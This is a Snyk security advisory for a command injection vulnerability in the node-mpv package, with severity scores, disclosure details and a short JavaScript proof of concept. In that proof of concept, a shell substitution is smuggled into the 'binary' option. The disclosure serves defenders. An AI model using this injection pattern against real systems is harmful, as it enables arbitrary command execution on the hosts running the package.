Command Injection Affecting node-mpv package, versions >=0.12.2


0.0
medium

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 6.34% (94th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-NODEMPV-564426
  • published 5 Apr 2020
  • disclosed 5 Apr 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for node-mpv.

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

var Root = require("node-mpv");
var options ={
"binary": '\" $(touch JHU) \"'
}
var root = new Root(options);

References